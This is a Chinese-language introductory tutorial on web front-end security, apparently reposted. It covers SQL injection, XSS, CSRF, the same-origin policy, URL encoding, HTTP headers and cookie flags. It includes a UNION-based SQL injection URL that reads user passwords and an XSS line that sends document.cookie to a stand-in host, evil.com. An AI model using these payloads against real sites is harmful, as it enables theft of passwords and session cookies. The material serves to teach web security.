web 前端安全基础

来源:互联网 发布:法国盐之花淘宝 编辑:程序博客网 时间:2024/04/28 09:32

一.概念解析
1. 注入攻击:当正常的数据内容被注入指令内容,在解释的过程中,如果注入的指令能够被 独立执行,那么攻击就发生了。
2.SQL注入攻击:用户输入提交一段数据库查询代码,获取信息
如下语句,id来自http://www.foo.com/user.php?id=1 中用户传来的id

select username,email,desc from users where id=1;

若将链接参数改为http://www.foo.com/user.php?id=1 union select password,1,1 from users
则SQL查询语句变为

select username,email,desc from users where id=1 union select password,1,1 from users

用户密码会有泄露的风险!
3.XSS:跨站脚本攻击,在web页面里插入恶意Script代码并执行

eval(‘new Image().src=”http://www.evil.com/steal.php?c=”+escape(document. cookie)’)

会在点击图片后将本站cookie信息传到另一网站

  • CSRF:跨站请求伪造

4.同源策略:不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源。

  • 同域:同协议,同域名,同端口
  • 授权:AJAX默认不允许跨域访问,只有目标站点(假如是 http://www.foo.com)明确返回 HTTP 响应头:

    Access-Control-Allow-Origin: http://www.evil.com

  • 资源:一般指Web 客户端的资源,包括:HTTP 消息头、整个 DOM 树、浏览器存储(如: Cookies、Flash Cookies、localStorage 等)

二.前端基础
1.URL
url存在类编码方式:escape、encodeURI、encodeURIComponent,
对应解码方式:unescape、decodeURI、decodeURIComponent

  • escape:不支持大于 0xffff 的字符,对unicode 为 0x77e5字符编码为「%u77E5」
  • encodeURI:基于 UTF-8,对unicode 为 0x77e5字符编码为「%E7%9F%A5」,接受 URI 的 protocol, host, port 等部分,只对 path 和 query 进行编码, 一般用于URL跳转
  • encodeURIComponent: 一般用于参数

2.http协议
请求头

GET http://www.foo.com/ HTTP/1.1Host: www.foo.comConnection: keep-aliveCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, likeGecko) Chrome/18.0.1025.3 Safari/535.19Referer: http://www.baidu.com/Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3Cookie: SESSIONID=58AB420B1D8B800526ACCCAA83A827A3:FG=1
  • GET http://www.foo.com/ HTTP/1.1 GET方法1.1版本的http协议
  • Host: www.foo.com 请求的主机
  • User-Agent: 包含操作系统、浏览器、 浏览器内核及对应的版本号等信息。
  • Referer: http://www.baidu.com/ 从 http://www.baidu.com/页面点击过来(只可读)

响应头

HTTP/1.1 200 OKDate: Sun, 04 Mar 2012 22:48:31 GMTServer: Apache/2.2.8 (Win32) PHP/5.2.6Set-Cookie: PTOKEN=; expires=Mon, 01 Jan 1970 00:00:00 GMT; path=/;domain=.foo.com; HttpOnlySet-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 203000:00:00 GMT; path=/; domain=.foo.comX-Powered-By: PHP/5.2.6Content-Length: 3635Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html;charset=gbk
  • HTTP/1.1 200 OK 200状态码,OK状态描述
  • Server: Apache/2.2.8 (Win32) PHP/5.2.6 服务端的一些信息:Web 容器、操作系统、服务端语言及对应的版本。 X-Powered-By: PHP/5.2.6
  • Content-Length: 3635 响应体长度
  • Content-Type: text/html;charset=gbk 响应资源的类型与字符集
  • Set-Cookie: 每个Set-Cookie 都设置一个 Cookie 具体格式见cookie构成

3.iframe 父页与子页资源访问
父子页面 可访问contentWindow得到彼此window对象,操作dom元素,子页面对父页面location有写权限

4.js的可执行情景

  • JS 格式文件
  • 标签
  • HTML 的标签 on 事件
  • 标签的 href、src 等属性

能够执行 JavaScript 的位置越多,意味着 XSS 发 生的面也越广,XSS 漏洞出现的可能性也越大

5.ajax安全
AJAX 是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一 个域。除非目标域名设置

Access-Control-Allow-Origin: http://www.foo.com

可以通过ajax或者from表单提交,模拟用户请求

6.cookie安全
(1)子域
domain 的值,默认就是本域。
可以指定 domain 为父级域,比如:

document.cookie=”test=1;domain=foo.com”;

不允许 设置 Cookie 的 domain 为下一级子域或其他外域
(2)路径
不同路径下的cookie可以通过跨 iframe 进行 DOM 操作实现
(3)httpOnly
设置了httpOnly后客户端无法读取cookie值,只有极少数的情况会发生泄漏。
(4)secure
Secure Cookie 机制指的是设置了 Secure 标志的 Cookie 仅在 HTTPS 层面上安全传输, 如果请求是 HTTP 的,就不会带上这个 Cookie。但其对客户端脚本可读写

document.cookie=”test_secure=hijack;path=/;secure;”

(5)本地cookie与内存cookie
与过期时间(Cookie 的 expires 字段)相关,没有设置的会在会话关闭后消失(待确定)
(6)P3P性质

原创粉丝点击